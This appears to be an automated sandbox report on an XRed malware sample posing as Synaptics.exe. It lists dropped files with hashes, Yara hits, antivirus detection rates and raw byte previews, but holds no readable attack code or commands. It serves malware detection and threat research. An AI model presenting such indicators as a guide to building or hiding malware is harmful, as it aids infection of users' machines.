Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1003008
Entropy (8bit):	6.840624859639759
Encrypted:	false
SSDEEP:	12288:3MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V924TMb9AHfebsXlD:3nsJ39LyjbJkQFMhmC+6GD9F+9AHyut
MD5:	5F13DA6171A270D4427F9857F94A265E
SHA1:	39092601FB30E41A2DB756DB4288B312FF487B66
SHA-256:	75F23B14400518742C65AEA6244D7BC1A711440CF0A9EEA303E009243CD43732
SHA-512:	59A7B7F75A23A7DCE24A1C3BBFC5083985874220CB523B78C609C046BEF3FD8A119534A38C1E2719E61D116571F4F899A32ECF3F778964E8400F3E4F5F0990BD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXB47F.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXB47F.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5999616
Entropy (8bit):	7.930201449389876
Encrypted:	false
SSDEEP:	98304:znsmtk2ahd+T6Kn5kBqUMWirt49K9nWBp5doWp/IZviyJrw:LLQdxK3z49K9I5B0vJw
MD5:	100620CD1016F9B7AED030B8ECED2AFD
SHA1:	F98F52D52FA58EA5D9B179D28422109958E1B3E2
SHA-256:	457A62394C53EBA3C5EF6D569230487C17AAABC837A4A9361670B1C2EE9F5C34
SHA-512:	B092244989F027692EE5CC4475611469C8EAD213DDE075493A6F6A5D3B81371D428958617C58A6C16DBADF75CB878FE279C0140F1629A169392E5F14E6C0F08D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B......................Q...................@...........................[..................@..............................B........P..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc.....P.......P.................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4761 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4761
Entropy (8bit):	7.945585251880973
Encrypted:	false
SSDEEP:	96:6ZUpZsm0HwZ8FLSeXs+aiL9qcZ7KtlAD1GlNHgdkVI5F11AcNmwkVFzGz6ENhZC7:62T0QOLl8vAqcZ7K3AUNAdx5FAx9VEOj
MD5:	77B20B5CD41BC6BB475CCA3F91AE6E3C
SHA1:	9E98ACE72BD2AB931341427A856EF4CEA6FAF806
SHA-256:	5511A9B9F9144ED7BDE4CCB074733B7C564D918D2A8B10D391AFC6BE5B3B1509
SHA-512:	3537DA5E7F3ABA3DAFE6A86E9511ABA20B7A3D34F30AEA6CC11FEEF7768BD63C0C85679C49E99C3291BD1B552DED2C6973B6C2F7F6D731BCFACECAB218E72FD4
Malicious:	false
Preview:	MSCF............,...................O..................YWP .disallowedcert.stl.lJ..B...CK.wTS.....{.&Uz.I."E".HS@. .P.!.....E. .DQ..... EDA.H. E..""/.s<.s.9.....&#.{~k.VV..7@......b.R....MdT..B.L..%.C......" ....%.4%..%.B..T.d...S.....pem..$....&.q.`.+...E..C.....$.\|.A.!~d.H>w%S$...QC't..;..<..R@....2. .l..?..c..A....Ew...l..K$.. ~...'......Mt^c..s.Y%..}......h......m....h.......~d...,...=ge3.....2%..(...T..!].....!C~.X..MHU.o[.z].Y...&lXG;uW.:...2!..][\/.G..]6#.I...S..#F.X.k.j.....)Nc.].t^.-l.Y...4?.b...rY....A......7.D.H\.R...s.L,.6.\|.....VQ....<........... [Z....].N0LU.X........6..C\....F.....KbZ..^=.@.B..MyH...%.2.>...]..E.....sZ.f..3z.].Y.t.d$.....P...,. .~..mNZ[PL.<....d..+...l.-...b.^....6F..z.&.;D.._..c."...d..... k9....60?&..Y.v.dgu...{.....{..d=..$......@^..qA..*uJ..@W.V..eC..AV.e+21...N.{.]..]..f]..`Z.....]2.....x..f..K...t. ...e.V.U.$PV..@6W\_nsm.n.........A<.......d....@f..Z... >R..k.....8..Y....E>..2o7..........c..K7n....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	340
Entropy (8bit):	3.161795687885784
Encrypted:	false
SSDEEP:	6:kK/5+7DYUN+SkQlPlEGYRMY9z+s3Ql2DUeXJlOW1:dLkPlE99SCQl2DUeXJlOA
MD5:	8E1B1F3E13EC8DE24B5A7454E83C3C25
SHA1:	1368A76D945D30284758D7E722CF600E31A2951A
SHA-256:	F101A399D1D755E8D7EC65C47CE1D9A330534A900AD121124B076B3FD1D2E0B6
SHA-512:	9F60017B2D115EE46110A64AABBD23B5D1AAA22E26EB6CE0429E3B2121D35E056C1D234846586ABD8446AE50350679DA91AE653F6ECD008BE33077EA481323A7
Malicious:	false
Preview:	p...... ........'...J]..(....................................................... ........~..MG......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".0.6.c.f.c.c.5.4.d.4.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\._cache_file.exe.log

Download File

Process:	C:\Users\user\Desktop\._cache_file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Download File

Process:	C:\Users\user\svchost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Temp\1Kg5RRu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276859967252592
Encrypted:	false
SSDEEP:	24:GgsF+01SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+u+pAZewRDK4mW
MD5:	736039FFCC9E03156CFF22643CAF9867
SHA1:	52709BB869B83A505E1165C2780451C5A16E8655
SHA-256:	5D58A0B354EDD00D46D47E17A827EFC386984BEB2C2822CFD9BD0ABA9A4CF507
SHA-512:	1B4D8522C7E4D4610F332E71BBED40FB74F8D96AFFBD51F833B252AB8086D4F290020BFB20ECBBA231AA9998C7FBC08CEEFFE1345DBBB32637F9ED8ED0CF7D9A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3cdMLUukOWYpHvTIZz36bQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\1USJP9a.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254491942914887
Encrypted:	false
SSDEEP:	24:GgsF+0GESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+E+pAZewRDK4mW
MD5:	386624DB83A00391DBDEFA2786F5F444
SHA1:	E8651293FEE6EA6D49A6E16067299A038415F55C
SHA-256:	494D421345445470F28AC07E3EE75AD07453B367BDF74DF241B1ADB047EC8214
SHA-512:	605FAEEAD2C0817FB9BCF9D1A218133ED714B256154C697A839009557078C1807BC018E1A4D3C5420742B4FF1BF9D3370C18D5497BCF2998A45F24AF6CC9B9CC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PnSHQCh_1w8gCa-ohlGyhQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\1jnTwdm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273267734282597
Encrypted:	false
SSDEEP:	24:GgsF+0LpSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+2+pAZewRDK4mW
MD5:	739B5749F653FA579356CCB3CA8CBDFF
SHA1:	0899CAE22389F94B913CFA1D727D0ABAE9AE50F7
SHA-256:	5E776CF6C6C0798081036E81D838F3AE21DAABE5F22B2EDF5E74B77BF6562B27
SHA-512:	EF2F5CCC4EB4F5AFF18846190E6B4E658FE8D248BB407F9287D09F4A385F9571904E847ECF0926228677A3378E88144CB4F06018E56BFD0719CF938E073F8C6C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9VZNdQNn_A4xpGjE3Q5DVA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2wCuCzY.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255378983133835
Encrypted:	false
SSDEEP:	24:GgsF+0ZbNSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+UbN+pAZewRDK4mW
MD5:	A54EC907524E53018A2680E1CE0C06F9
SHA1:	C6529806DE28B632056C52F6C7C1F0257F6A1FA6
SHA-256:	3E359029A71FFD7C8252533899AFA475CCC1604025462E41910000CA224F50AC
SHA-512:	429BB3CFC3D07BB9B82F66B995FC135A6A7F512BC50C8739C1C3080BCF50A6186EF6016A1EB13346F8EFF7C21DF435DD4725CBE9ACC658601D663338A91D6D9B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_0LsSSwMj022HmeNsFUo4w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2xLaEXS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256017535904695
Encrypted:	false
SSDEEP:	24:GgsF+0a5zDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bD+pAZewRDK4mW
MD5:	15E566414A680D8A46E012FE63BBB991
SHA1:	DF22FB607BEB88EE73571E9DEAA300943992E9AE
SHA-256:	617CEDF91229A18BF638B4B47139B1684EF0C3C6545C0789C31A47EAC98FC03E
SHA-512:	D947AA847FEB6A152B66495E70DC262C2EC53BA2397F0F3D296D3630017049DA46CA5DDA3DF52EAD80A2C8FD67418665FA0C6F4A6DD6E8D232E363A9034EA397
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8uXyw6JfLx_4JPp3m0diGg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4FBEExx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.251979407177644
Encrypted:	false
SSDEEP:	24:GgsF+0RH3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+e+pAZewRDK4mW
MD5:	D7E3CC5720E2D524501C19F38C6728B8
SHA1:	EB35490C14E89B9B63D069C231D351C338E2B005
SHA-256:	42EDDC1F0FC4CAB71CBF3B5E09EB77357B032604ED2CFDA2508F475B6A78F957
SHA-512:	ED21363A74CF6DFF0636B9F76AB030697E131BBB2B4E84C62D4EE259B66EAF876CC36A059FFAD7C6C7BC6CA93CFF7B59E4C5EFE14B94E8705ADCC0F394EE2D70
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uKglSs_QDb4BxKB_rcci5w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4GLkIz5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272140986500539
Encrypted:	false
SSDEEP:	24:GgsF+0wuhSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+jW+pAZewRDK4mW
MD5:	61336AA53C9C62BB876EAF8E4B20AF92
SHA1:	F851A5AA608DC7AE6A96C9B44089D5958FDC92AA
SHA-256:	E564AF1F45EE68ABF878930A26CF1BE6D5CF5B41E75E20306463E17FE28F35E6
SHA-512:	305EB14E09430E5A2CAA6547CA62CE1DC589E0E3C9C867C2CA2DA8E1B4AAA1F6693270D2F39B422A445FABEA33739D1CE1C11883CD532E68A9CAD1C3322AE3BE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oOLS_R5rCo9DRj0LJtzMJQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4GS97Ez.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2569123923780605
Encrypted:	false
SSDEEP:	24:GgsF+0obzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3z+pAZewRDK4mW
MD5:	DF6D0C75CB2C1034DEF5CA95AB6E4C61
SHA1:	3EA4539AE896C29287E83490FDD1B618B9BFC360
SHA-256:	BD385E9CD0A8A4D8153DFD5783B74D23A58B8F994A8754ECCA5722678C2238F0
SHA-512:	7920DCE82884F773EBA57C498EF7506F137DA483D4AF212E0275E5A1894967251B18DC4D6D3B00823978B329A7544BE42FCA3C7BB576DA0B2A5F715C115407FF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kKp_3Jc612qNGbEat6ohgQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5hfnY6TV.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\6LAn3Lx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258297396678246
Encrypted:	false
SSDEEP:	24:GgsF+0MSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	C246A5EEBB764BB5624CEAC43149E31F
SHA1:	DD0FCAA014E5A68ABF1608ED83A0A9375A93628D
SHA-256:	0C0A8FAEF44E9E4D8EFC23989C12E0419B1475975FAAF5B350FEB66AC2D6618B
SHA-512:	AE3B87ECDB3C52D0C9D758283B80B35614E71430022D812809C688DA9A76F7CC24C402E475F0D625BEBF8FE7024279A65B67FD11DC75CDA19682CAE4AECAB142
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GAa3crlySwXKUf1r1V4vDg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\7FOG9sm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252684608684577
Encrypted:	false
SSDEEP:	24:GgsF+0INySU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ty+pAZewRDK4mW
MD5:	7ED83793F2D506BCDD225F52C7315669
SHA1:	FD21AD36C81EEA5341A4F5C498C6EBD694AC33F4
SHA-256:	95E78752BB24CEDCD412337D45699D4A1171C5EE85D652171DC7D9D8574DCB36
SHA-512:	17FA27EE4810C4EB11D31E202C52C7960F6AE850BA9BFFC4C0DF8FADE209DFAA6E694AB70D6D39630AF692BF4E47670FC7DB35F38970767FD1BF3ABAC919B549
Malicious:	false
